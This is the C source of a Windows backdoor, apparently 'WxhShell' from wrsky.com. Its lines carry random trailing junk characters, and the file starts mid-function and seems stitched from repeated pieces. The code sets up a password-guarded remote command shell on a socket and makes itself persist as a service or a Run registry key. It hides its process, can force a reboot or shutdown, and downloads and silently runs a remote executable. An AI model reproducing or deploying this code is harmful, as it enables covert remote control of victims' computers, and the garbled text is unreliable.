    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `S A1V),~  
    if(Boot(SHUTDOWN)) P2F8[o!<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:>t$* _  
    else { Rh%A^j@  
    closesocket(wsh); L]q%;u]8!  
    ExitThread(0); P8[k1"c!  
    } \A6 }=  
    break; ?e\u_3- 9  
    } PPde!}T$  
  // 获取shell p]qz+Z/  
  case 's': { !ScEA=  
    CmdShell(wsh); p }e| E!  
    closesocket(wsh); OBf$Z"i  
    ExitThread(0); X/ Ii}X/p  
    break; qIxe)+.  
  } .O SQ8W }  
  // 退出 IP^1ca#<  
  case 'x': { 5cb8=W -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b3ys"Vyn  
    CloseIt(wsh); Z>~7|vl  
    break; BKV:U\QZ  
    } Mp(;PbVD  
  // 离开 ';m;K (g  
  case 'q': { iO"ZtkeNr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @O|`r(le  
    closesocket(wsh); :jJ0 +Q  
    WSACleanup(); ,u9 >c*Ss\  
    exit(1); })j N 8px  
    break; @ V_i%=go  
        } |d,bo/:  
  } 8Y_lQfJa  
  } j Y(|z*|  
]MC5 uKn  
  // 提示信息 [ #fz [U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k\RS L  
} EHfB9%O7y  
  } R 5\|pC  
-wVuM.n(Z  
  return; {{AZW   
} sq@c?!'  
(wvU;u  
// shell模块句柄 PAH#yM2Ic  
int CmdShell(SOCKET sock)  yyGn <  
{ Gz4LjMQ &  
STARTUPINFO si; 7eW6$$ju,N  
ZeroMemory(&si,sizeof(si)); Sbeq%Iwm.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CdMV(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x`I"%pG  
PROCESS_INFORMATION ProcessInfo; FD[4?\W]#  
char cmdline[]="cmd"; 8U n0<+b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -C8LM ls  
  return 0; ]]y4$ [|L  
} `|PhXr  
`~\8fN  
// 自身启动模式 ZG? e%  
int StartFromService(void) 5RP5%U  
{ d$8K,-M  
typedef struct u>:j$@56  
{ +O)ZB$w4  
  DWORD ExitStatus; a5&[O  
  DWORD PebBaseAddress; ?O"zp65d(  
  DWORD AffinityMask; ^gkKk&~A5?  
  DWORD BasePriority; e7tio!  
  ULONG UniqueProcessId; N4b{^JkF  
  ULONG InheritedFromUniqueProcessId; 5=Y(.}6  
}   PROCESS_BASIC_INFORMATION; E(&zH;?_  
pD }b$  
PROCNTQSIP NtQueryInformationProcess; TmK8z  
~qX wQ@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )\7Cp-E-W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h,6> ^A  
SwaMpNXL  
  HANDLE             hProcess; phB d+zQc  
  PROCESS_BASIC_INFORMATION pbi; JSx[V<7m  
7PwH&rI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ocz21gl-?`  
  if(NULL == hInst ) return 0; *_]fe&s=%  
$.31<@T7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'v=BAY=Ef  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ap,zC)[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vu&ny&=`  
[^XD @  
  if (!NtQueryInformationProcess) return 0; c` N_MP  
G_5w5dbG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +{}p(9w@  
  if(!hProcess) return 0; [&l+Ve(  
4q(,uk&R[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Y<fj^]k  
}:[MSUm5  
  CloseHandle(hProcess); O&}R  
{Z1-B60P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %d<UMbS^  
if(hProcess==NULL) return 0; LR'~:46#u  
,Ek6X)|@  
HMODULE hMod; 19RbIG/X  
char procName[255]; %IDl+_j  
unsigned long cbNeeded; (`u+(M!^  
.4[M-@4+]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ylDfr){  
@}uo:b:Q  
  CloseHandle(hProcess); 44KWS~  
Cv/3-&5S  
if(strstr(procName,"services")) return 1; // 以服务启动 Ns#L9T#  
!3o/c w9  
  return 0; // 注册表启动 C4t~k  
} EW3--33s  
8#4Gs Q"  
// 主模块 um\A  
int StartWxhshell(LPSTR lpCmdLine) L`fT;2  
{  v&7x ~!O  
  SOCKET wsl; _d+` Gw  
BOOL val=TRUE; 9>ZX@1]m_  
  int port=0; t}MT<Jj  
  struct sockaddr_in door; CK_\K,xVT  
V343 IT\  
  if(wscfg.ws_autoins) Install(); :c`djM^ll  
XhN?E-WywQ  
port=atoi(lpCmdLine); 8%xiHPVg  
R;uP^  
if(port<=0) port=wscfg.ws_port; ?%/*F<UVQ  
zy~*~;6tW  
  WSADATA data; ^K 9jJS9K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iR8;^C.aT  
Vg mYm~y'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t+jdV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3M'Y'Szm  
  door.sin_family = AF_INET; ej&o,gX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o=F!&]+  
  door.sin_port = htons(port); <l>L8{-3  
A5O;C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jO`L:D/C  
closesocket(wsl); vkW;qt}yO  
return 1; a)6?:nY$  
} }VVtv1  
faZc18M^1  
  if(listen(wsl,2) == INVALID_SOCKET) { ?}jjBJ&  
closesocket(wsl); 6'e 'UD  
return 1; f9'dZ}B  
}  q ^Gj IP  
  Wxhshell(wsl); >R.!Qze\G  
  WSACleanup(); ): r'IR  
h*sL' fJ]  
return 0; n:Dr< q .  
zP/SDW   
} Lo" s12fr  
.e}`n)z  
// 以NT服务方式启动 6c}nP[6|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SL<EZn0F9  
{ `[x'EJp#  
DWORD   status = 0; B<~BX [  
  DWORD   specificError = 0xfffffff; q\~D:z$+CO  
-&QpQ7q1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NIC.c3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9D yy&$s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $us7fuKE  
  serviceStatus.dwWin32ExitCode     = 0; lH"VLO2l  
  serviceStatus.dwServiceSpecificExitCode = 0; 1W9uWkk_d  
  serviceStatus.dwCheckPoint       = 0; 9FF  
  serviceStatus.dwWaitHint       = 0; ^a#W|-:  
'2{60t_A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ntZHO}'  
  if (hServiceStatusHandle==0) return; a!PN`N28  
} OkK@8?0O  
status = GetLastError(); )1O|+m k  
  if (status!=NO_ERROR) 8{Vt8>4  
{ 9v7}[`^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >-(,BfZ  
    serviceStatus.dwCheckPoint       = 0; B;Co`o2  
    serviceStatus.dwWaitHint       = 0; AQc9@3T~Bi  
    serviceStatus.dwWin32ExitCode     = status; :r&4/sN}<  
    serviceStatus.dwServiceSpecificExitCode = specificError; V<d`.9*}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'jKCAU5/0;  
    return; qf%p#+:B3  
  } VZ2CWE)t  
/ 6DW+!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %y)LBSxf  
  serviceStatus.dwCheckPoint       = 0; 1\5po^Oioy  
  serviceStatus.dwWaitHint       = 0; ZPHatC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y"zZ9HQM  
} G52z5-=v  
"h&[6-0'  
// 处理NT服务事件,比如:启动、停止 X\BdN Hr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) % "ZC9uq?  
{ 6{ pg^K  
switch(fdwControl) jYW-}2L  
{ 2JHV*/Q  
case SERVICE_CONTROL_STOP: a3:1`c/~\  
  serviceStatus.dwWin32ExitCode = 0; D5!I{hp"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |(9l_e|  
  serviceStatus.dwCheckPoint   = 0; J z-RMX=  
  serviceStatus.dwWaitHint     = 0; 5"Y:^_8  
  { hP jL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~e+pa|lO  
  } ~VPE9D@  
  return; `L.nj6F  
case SERVICE_CONTROL_PAUSE: Sqla+L*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _,*QJ  
  break; #?bOAWAwLh  
case SERVICE_CONTROL_CONTINUE: 2*zMLI0.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 59(} D'lw>  
  break; >< Qp%yT  
case SERVICE_CONTROL_INTERROGATE: IpVtbDW  
  break; =Unu>p}2V  
}; _147d5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CW~c<,"  
} ;GZ'Rb  
@DyMq3Gt?&  
// 标准应用程序主函数 g<i>252>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ _&z+  
{ Ia>~ph#]{`  
:) T#.(mR  
// 获取操作系统版本 wgZ6|)!0  
OsIsNt=GetOsVer(); /tqe:*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $XrX(l5  
Y,X0x-  
  // 从命令行安装  e:6mz\J  
  if(strpbrk(lpCmdLine,"iI")) Install(); lq)[  
cUU"*bA#  
  // 下载执行文件 {JW_ZJx  
if(wscfg.ws_downexe) { 9 NqZ&S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4aG}ex-s|  
  WinExec(wscfg.ws_filenam,SW_HIDE); w-``kID  
} RIF*9=,S  
L>,xG.oG  
if(!OsIsNt) { M =GF@C;b  
// 如果时win9x,隐藏进程并且设置为注册表启动 wPpern05  
HideProc(); 3:gF4(.  
StartWxhshell(lpCmdLine); 0y/P  
} 6yMaW eT  
else #M:Vwn JX  
  if(StartFromService()) ^~m}(6  
  // 以服务方式启动 qWI8 >my11  
  StartServiceCtrlDispatcher(DispatchTable); BU%gXr4Ra  
else Gk<6+.c~  
  // 普通方式启动 4pFoSs?\  
  StartWxhshell(lpCmdLine); "%+9p6/  
6+yA4pRSd  
return 0; R%;dt<Dh  
} 8jgamG  
<GoZ>  
tnw6[U!rh=  
CSMx]jbb  
=========================================== YHo*IX')C?  
FdMTc(>  
Oa7jLz'i  
uq@_DPA7  
HQrx9CXE  
_MUSXB'  
" Qx77%L4  
vi0nJ -Xg  
#include <stdio.h> N`5 mPE  
#include <string.h> wmFS+F4`2  
#include <windows.h> FJ O- p  
#include <winsock2.h> Iz I hC  
#include <winsvc.h> lkgB,cflpi  
#include <urlmon.h> A)D1 #,0  
Us8nOr>5  
#pragma comment (lib, "Ws2_32.lib") ?) VBkA5j  
#pragma comment (lib, "urlmon.lib") (e[8`C  
6"jV>CNc@  
#define MAX_USER   100 // 最大客户端连接数 AM4 :xz  
#define BUF_SOCK   200 // sock buffer :Pi="  
#define KEY_BUFF   255 // 输入 buffer p}-B>v  
Q E*`#r#e  
#define REBOOT     0   // 重启 i  M!=/  
#define SHUTDOWN   1   // 关机 +L#Q3}=s  
Bfr$&?j#  
#define DEF_PORT   5000 // 监听端口 g}*F"k4j  
Z<$ y)bf  
#define REG_LEN     16   // 注册表键长度 ~*ll,<L:  
#define SVC_LEN     80   // NT服务名长度 ]llvG \  
jftf]n&Z(q  
// 从dll定义API u/X1v-2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 I[3%Q{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .T^e8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T3^(I~03  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CYN|  
~ ^) 4*@i6  
// wxhshell配置信息 l\~F0Z/O  
struct WSCFG { EB[B0e 7}  
  int ws_port;         // 监听端口 lag%} ^  
  char ws_passstr[REG_LEN]; // 口令 O `a4 ")R  
  int ws_autoins;       // 安装标记, 1=yes 0=no TllIs&MCe  
  char ws_regname[REG_LEN]; // 注册表键名 O\)rp!i  
  char ws_svcname[REG_LEN]; // 服务名 A\~tr   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <5l!xzvw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b)@b63P_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .06[*S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w:o,mzuXK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vrvOPLiQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f;%\4TH?  
#N `Z)}Jm  
}; @(LEuYq}  
8hm|9  
// default Wxhshell configuration 5j-? Uf  
struct WSCFG wscfg={DEF_PORT, /FA0(< -}  
    "xuhuanlingzhe", WY" `wM  
    1, S(h+,+289  
    "Wxhshell", zsha/:b  
    "Wxhshell", ,.&y-?  
            "WxhShell Service", jsnk*>j  
    "Wrsky Windows CmdShell Service", ayoqitXD?  
    "Please Input Your Password: ", 84u %_4/  
  1, \v[?4 [  
  "http://www.wrsky.com/wxhshell.exe", tJ!s/|u(  
  "Wxhshell.exe" NU$?BiB?R  
    }; 8^6dK  
8!u8ZvbFG  
// 消息定义模块 mA>u6Rlc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T_b$8GYfCY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dg2=;)"L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; khtYn.eaL  
char *msg_ws_ext="\n\rExit."; \t\ZyPxn  
char *msg_ws_end="\n\rQuit."; V.Ki$0>  
char *msg_ws_boot="\n\rReboot..."; O %?d0K  
char *msg_ws_poff="\n\rShutdown..."; H8'_.2vwX  
char *msg_ws_down="\n\rSave to "; QAmb_:^"d  
)Y@mL/_  
char *msg_ws_err="\n\rErr!"; W: vw.  
char *msg_ws_ok="\n\rOK!"; l|p \8=  
?:XbZ"25pJ  
char ExeFile[MAX_PATH]; "OO"Ab{t  
int nUser = 0; l9Sx'<  
HANDLE handles[MAX_USER]; $M 1/74  
int OsIsNt; T`.RP&2/d  
p8a \> {  
SERVICE_STATUS       serviceStatus; @ 80Z@Pj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P n|*(sTl  
beCTOmC  
// 函数声明 }qOj^pkJ  
int Install(void); rkz_h  
int Uninstall(void); V[T`I a\  
int DownloadFile(char *sURL, SOCKET wsh); Auz.wes  
int Boot(int flag); ]Uee!-dZ  
void HideProc(void); r^|AiYI)  
int GetOsVer(void); ?go+oS^  
int Wxhshell(SOCKET wsl); yDW$v/j.|  
void TalkWithClient(void *cs); ^+20e3 ~Y  
int CmdShell(SOCKET sock); {(MC]]'?  
int StartFromService(void); _.y0 QkwV  
int StartWxhshell(LPSTR lpCmdLine);  ^q=D!g  
_@Le MNv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); llP 5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JD}"_,-  
l.Qv9Ll|b  
// 数据结构和表定义 %d/Pc4gfc  
SERVICE_TABLE_ENTRY DispatchTable[] = pk0C x  
{ V)8d1S  
{wscfg.ws_svcname, NTServiceMain}, 7$&3(#!N  
{NULL, NULL} }^ np  
}; UBy< vwnU  
PtT=HvP!k  
// 自我安装 g1s\6%g  
int Install(void) N-4k 9l1  
{ * vMNv  
  char svExeFile[MAX_PATH]; b7_uT`<  
  HKEY key; ToWtltCD  
  strcpy(svExeFile,ExeFile); $<(FZb=  
Zw`vPvb!  
// 如果是win9x系统,修改注册表设为自启动 ;>d uY\$<  
if(!OsIsNt) { !$i*u-%4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <p74U( V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K~:crUV|S  
  RegCloseKey(key); tuF hPqe {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %@jL? u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *>a+`|[1*  
  RegCloseKey(key); [spJ%AhV  
  return 0; b=Y:`&o=[  
    } ~ :\QC  
  } #gL$~.1  
} |/R)FT#i  
else { W%xg;uzp  
MWxv\o   
// 如果是NT以上系统,安装为系统服务 Mr3;B+S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,#FK3;U  
if (schSCManager!=0) }bxW@(bs  
{ l" #}g%E  
  SC_HANDLE schService = CreateService L-T3{I,3  
  ( lnk`D(>W  
  schSCManager, bo  J  
  wscfg.ws_svcname, 5uU.K3G7  
  wscfg.ws_svcdisp, Ikn)XZU^  
  SERVICE_ALL_ACCESS, [?vn>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7z=zJ4C  
  SERVICE_AUTO_START, !5;A.f  
  SERVICE_ERROR_NORMAL, "#a_--"k9  
  svExeFile, ?/ @~ d  
  NULL, K5fL{2V?  
  NULL, IP 9{vk  
  NULL, .%(Q*ioDh  
  NULL, qx$-% P  
  NULL k9ThWo/#u  
  ); K38A;=t9  
  if (schService!=0) T7!"gJ  
  { ^\z.E?v%  
  CloseServiceHandle(schService); <{"]&bl  
  CloseServiceHandle(schSCManager); El}."}l&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =D2jJk?AX  
  strcat(svExeFile,wscfg.ws_svcname); .9<  i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x! A.**  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >Bj+!)96q  
  RegCloseKey(key); vy t$  
  return 0; ,&1DKx  
    } fJb<<6C  
  } LvsNU0x  
  CloseServiceHandle(schSCManager); B~ o;,}  
} lAxbF  
} 0 s-IW  
r pv`%  
return 1; gRk%ObJGqm  
} J5Nz<  
Yy$GfjJtL]  
// 自我卸载 thYG1Cs  
int Uninstall(void) E0miX)AG  
{ H>x(c|ZBp  
  HKEY key; .KA){_jBp  
#sn2Vmi  
if(!OsIsNt) { !f\q0Gnl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SA| AS<  
  RegDeleteValue(key,wscfg.ws_regname); N6"b Ox J(  
  RegCloseKey(key); f xWW "B*A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0'giAA  
  RegDeleteValue(key,wscfg.ws_regname); %V>Ss9;/8  
  RegCloseKey(key); FJ|6R(T_  
  return 0; cK;,=\  
  } pohA??t2:  
} BrdHTk= Vy  
} Ye'=F  
else { x*G-?Xza)  
CLb~6LD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l Ikh4T6i  
if (schSCManager!=0) {xw"t9(fE  
{ Rn (vG-xQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `h>a2   
  if (schService!=0) 9 a ED6  
  { FCC9Ht8U?  
  if(DeleteService(schService)!=0) { u7_IO  
  CloseServiceHandle(schService); 9t.u9C=!F  
  CloseServiceHandle(schSCManager); qP"+SVqC  
  return 0; %nTgrgS(=  
  } lG\6z"K  
  CloseServiceHandle(schService); tSr.0'CE  
  } )%4%Uo_Xm  
  CloseServiceHandle(schSCManager); ,cbCt  
} HC4vet  
} Svs!C+:le  
?R  4sH  
return 1; :u%Jrc (W  
} 4,8=0[eRG  
N3D{t\hg  
// 从指定url下载文件 h|=<I)}z  
int DownloadFile(char *sURL, SOCKET wsh) X=i^[?C  
{ e/pZLj]M  
  HRESULT hr; tevB2'3^  
char seps[]= "/"; PdUlwT? 8C  
char *token; :x36^{7  
char *file;  p)5j~Nl  
char myURL[MAX_PATH]; Ow0-}Im~  
char myFILE[MAX_PATH]; Zc_%hQf2A  
i8F^ N=  
strcpy(myURL,sURL); Hm>M}MF3  
  token=strtok(myURL,seps); Z /#&c  
  while(token!=NULL) v99gI%TA'  
  { P}] xz Vy  
    file=token; _Eus<c  
  token=strtok(NULL,seps); e)pQh& uD  
  } 8 JOfx  
'y(;:Kc  
GetCurrentDirectory(MAX_PATH,myFILE); E?{{z4  
strcat(myFILE, "\\"); ?;s}GpEY:  
strcat(myFILE, file); njbEw4nX  
  send(wsh,myFILE,strlen(myFILE),0); hJr cy!P<a  
send(wsh,"...",3,0); a J%&Y5L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %?GLMf7)  
  if(hr==S_OK) g"Eg=CU  
return 0; -dCM eC  
else k<aKT?Ek>  
return 1; 5XK}8\  
-8j<`(M' 5  
} D(EY"s37  
E\3fL"lM  
// 系统电源模块 !H,_*u.  
int Boot(int flag) vdwh59W  
{ {fwA=J9%KS  
  HANDLE hToken; svt%UE|_:$  
  TOKEN_PRIVILEGES tkp; 2E V M*^A  
(zW;&A  
  if(OsIsNt) { ;.Lf9XJ   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hxIG0d!o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dQ&S&SW  
    tkp.PrivilegeCount = 1; f L @rv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K+9oV[DMs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  .AEOf0t  
if(flag==REBOOT) { ZG=B'4W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'S_kD! BO  
  return 0; ]}4{|& e  
} wv.FL$f[@  
else { udRum7XW 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u/`jb2eEU:  
  return 0; aNZJs<3;'D  
}  3kAmRU  
  } ?^F*M#%?  
  else { K k 5 vC{  
if(flag==REBOOT) { H+^93  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4'&j<Ah[#  
  return 0; s0,\[rM  
} *?;<buJb?  
else { OYcf+p"<\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JfJUOaL  
  return 0; +-b:XeHSZ  
} ~Wh} W((L  
} qo1eHn4  
6XVr-ef  
return 1; _{.=zv|3  
} 5hNjJqu  
1J}i :i&  
// win9x进程隐藏模块 x?hdC)#DWI  
void HideProc(void) bU`Ih# q  
{ Vb${Oy+  
+&LzLF.bK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Va^AEuzF  
  if ( hKernel != NULL ) ]<9=%m  
  { VieX 5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O>zPWVwa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I y?_2m  
    FreeLibrary(hKernel); y[U/5! `zV  
  } 7qfo%n"  
X!+#1NPM  
return; vmI2o'zi  
} TW 2OT }  
MA\^<x_?L}  
// 获取操作系统版本 71AR)6<R  
int GetOsVer(void) ;DMv?-H  
{ YkRv~bc1]  
  OSVERSIONINFO winfo; }E=:k&IDPB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D`nW9i7  
  GetVersionEx(&winfo); SU0K#:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L nQm2uF  
  return 1; B{fPj9Y0  
  else J(BtGGU'  
  return 0; T[mo PD5  
} !PN;XZ~{  
Z]$RO  
// 客户端句柄模块 [ emUyF  
int Wxhshell(SOCKET wsl) j, SOL9yg  
{ (kpn"]^'  
  SOCKET wsh; zYf `o0U  
  struct sockaddr_in client; y`"b%P)+T  
  DWORD myID; m'Jk!eo  
+xqPyR  
  while(nUser<MAX_USER) hFORs.L&G  
{ #UR4I2t*  
  int nSize=sizeof(client); wRgh`Hc\}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t`b>iX%(1t  
  if(wsh==INVALID_SOCKET) return 1; _pu G?p  
y %dUry%>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fs^d-I  
if(handles[nUser]==0) kV@*5yc?R  
  closesocket(wsh); cswX?MN  
else FhJ8}at+e  
  nUser++; l26DPtWi  
  } j M%qv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "j+zd&*={  
K`!q1 g`  
  return 0; !^Mk5E(  
} I!(.tu6u6c  
#q{i<E 07  
// 关闭 socket Dp:u!tdbeg  
void CloseIt(SOCKET wsh) =}S*]Me5  
{ O.7Q* ^_  
closesocket(wsh); neQ2k=ao  
nUser--; rbP" n)0=  
ExitThread(0); IY@)  
} j%%l$i~  
3L24|-GxH  
// 客户端请求句柄 &5&C   
void TalkWithClient(void *cs) )^+v*=Dc-i  
{ '}a[9v76  
}s;W{Q  
  SOCKET wsh=(SOCKET)cs; ># FO0R  
  char pwd[SVC_LEN]; 8l|v#^v  
  char cmd[KEY_BUFF]; 7 4rmxjiN  
char chr[1]; h1 \)_jxA  
int i,j; 3}::"X  
wH&Rjn  
  while (nUser < MAX_USER) { _vA\j  
'</  
if(wscfg.ws_passstr) { Jhbkp?Zli  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OtuOT=%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H-%)r&"vn  
  //ZeroMemory(pwd,KEY_BUFF); MF>1u%  
      i=0; 27b7~!  
  while(i<SVC_LEN) { S5:`fo^5  
{e,m<mAi  
  // 设置超时 hw`+,_ g  
  fd_set FdRead; 6x\+j  
  struct timeval TimeOut; jd;=5(2  
  FD_ZERO(&FdRead); F^ kH"u[  
  FD_SET(wsh,&FdRead); 1gp3A  
  TimeOut.tv_sec=8; C3fSSa%b  
  TimeOut.tv_usec=0; ${n=1-SMU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x Z2 }1D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [3`T/Wm  
{Y{*(5YV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k[oU}~*U+  
  pwd=chr[0]; A(y^1Nm  
  if(chr[0]==0xd || chr[0]==0xa) { l 6wX18~XJ  
  pwd=0; \LB =_W$  
  break; nV I\Or[  
  } XZhX%OT!  
  i++; <\k=j{@  
    } \M>+6m@w  
]}Hcb)'j@  
  // 如果是非法用户,关闭 socket 6T 2jVNg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fy-+? ~  
} Y7R"~IA$  
|xaJv:96%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mf0g)X}1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T:Dp+m!\{  
]saf<?fzr  
while(1) { >V:g'[b  
7*5$=z4,1  
  ZeroMemory(cmd,KEY_BUFF); gx&BzODPd0  
620y[iiK$  
      // 自动支持客户端 telnet标准   />fy@nPl|  
  j=0; 4ew|5Zex.~  
  while(j<KEY_BUFF) { T*>n a8W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _H|c _  
  cmd[j]=chr[0]; zECdj'/  
  if(chr[0]==0xa || chr[0]==0xd) { =p>"PqJ/7n  
  cmd[j]=0; 8XwAKN:f  
  break; uV<I!jyI  
  } 2U,O e9  
  j++; G.K3'^_  
    } <Gzy*1 Q&  
m`UNdFS  
  // 下载文件 Z~o*$tF/  
  if(strstr(cmd,"http://")) { )AOD~T4s7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Y_"q^5GG'  
  if(DownloadFile(cmd,wsh)) iK%<0m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tx;DMxN!W  
  else Q[i/]  
